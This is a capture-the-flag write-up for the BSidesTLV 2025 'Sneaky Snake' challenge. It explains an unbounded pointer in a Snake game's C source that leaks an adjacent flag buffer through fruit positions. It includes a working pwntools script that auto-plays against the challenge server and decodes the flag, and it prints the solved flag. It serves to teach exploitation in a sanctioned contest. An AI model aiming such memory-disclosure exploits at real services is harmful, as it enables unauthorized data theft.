Sneaky Snake

Description

The best game ever. CHANGE MY MIND *please insert the flag inside the format:”BSidesTLV2025{}”

Challenge by chengruber

Sources were attached.

Solution

We are provided with a remote terminal-based Snake game. The objective is seemingly to play Snake, but the real goal is to retrieve the flag read into memory at the start of execution.

The vulnerability stems from how stack variables are declared in main.

// snake.c
int main() {
    unsigned char rnd[32];      // Buffer of 32 random bytes
    unsigned char flag[33];     // The Flag buffer

In the compiled binary, these two arrays are placed adjacent to each other on the stack: [ rnd[0] ... rnd[31] ] [ flag[0] ... flag[1] ... ]

The game uses a pointer (ptr) to iterate through the rnd array to decide where the next fruit appears.

unsigned char *ptr = rnd; // Initialize to start of random buffer

// ... inside game loop ...
if (snake_eats_fruit) {
    ptr++; // <--- VULNERABILITY: No bounds check!
    
    // Calculate new coordinates based on the value pointed to
    fruitX = *ptr % WIDTH;
    fruitY = (*ptr / WIDTH) % HEIGHT;
}

The Vulnerability: The code incrementally increases ptr every time a fruit is eaten, but it never resets or checks if we’ve reached the end of rnd.


Exploitation Strategy

Once ptr enters the flag buffer, the position of the fruit on the screen is a direct visual representation of the ASCII characters of the flag.

The game calculates coordinates as:

Since standard ASCII characters (32-127) fit within this range without collision, we can reverse the math: Character=(Y×40)+X

Example: If the fruit appears at X=25, Y=1: X=25,Y=1:(1×40)+25=65→’A’

But playing manually to eat 32+ fruits without dying is tedious :)

We need a script to:

  1. Parse the text-based grid to find the Snake Head (‘O’) and Fruit (‘*’).
  2. Move the snake automatically using simple pathfinding (Manhattan distance).
  3. Decode the fruit coordinates once we pass the 32nd fruit.

Solution Script

from pwn import *

# Game Config
WIDTH = 40
HEIGHT = 20

def solve():
    r = remote('0.cloud.chals.io', 18223)
    
    fruit_eaten_count = 0
    leaked_flag = ""

    print("[*] Starting Auto-Snake...")

    while True:
        try:
            # Parse the frame
            output = r.recvuntil(b"Direction [U | R | D | L]: ").decode()
            lines = output.split('\n')
            
            # Find board start (look for top border)
            grid_start = -1
            for i, line in enumerate(lines):
                if '#' * (WIDTH + 2) in line:
                    grid_start = i + 1
                    break
            
            if grid_start == -1: continue

            # Locate Head and Fruit
            head_pos = None
            fruit_pos = None

            for y in range(HEIGHT):
                row = lines[grid_start + y]
                if 'O' in row:
                    head_pos = (row.find('O') - 1, y) # -1 for border
                if '*' in row:
                    fruit_pos = (row.find('*') - 1, y)

            if not head_pos or not fruit_pos:
                r.sendline(b'U') # Blind move if glitch
                continue

            # --- Logic: Leak Flag ---
            # If we see a new fruit (pos changed) and we are past the buffer
            if fruit_eaten_count >= 32:
                char_val = (fruit_pos[1] * 40) + fruit_pos[0]
                leaked_char = chr(char_val)
                # Filter noise
                if leaked_char in string.printable:
                    leaked_flag += leaked_char
                    print(f"[+] Leaking... {leaked_flag}")

            # --- Logic: AI Movement ---
            hx, hy = head_pos
            fx, fy = fruit_pos
            
            # Simple Manhattan movement
            move = ''
            if hx < fx: move = 'R'
            elif hx > fx: move = 'L'
            elif hy < fy: move = 'D'
            elif hy > fy: move = 'U'
            
            # Send move
            r.sendline(move.encode())

            # Check if we ate the fruit (heuristic: distance became 0 previously)
            # For this script, we assume successful eat if we overlap next frame
            # (Simplified logic: just increment counter roughly)
            if abs(hx - fx) + abs(hy - fy) <= 1:
                fruit_eaten_count += 1

        except EOFError:
            break

if __name__ == "__main__":
    solve()

Result

The script plays the game. After clearing the initial 32 random fruits, the fruit positions begin to spell out the flag.

Raw Leak: 55uuCChh_44__Sn33aakY_sNNee44Kyy__p001N7eeR_BBrr00 (Note: Characters appear doubled due to game loop rendering speed)

Cleaned Flag:

BSidesTLV2025{5uCh_4_Sn3akY_sNe4Ky_p01N7eR_Br0}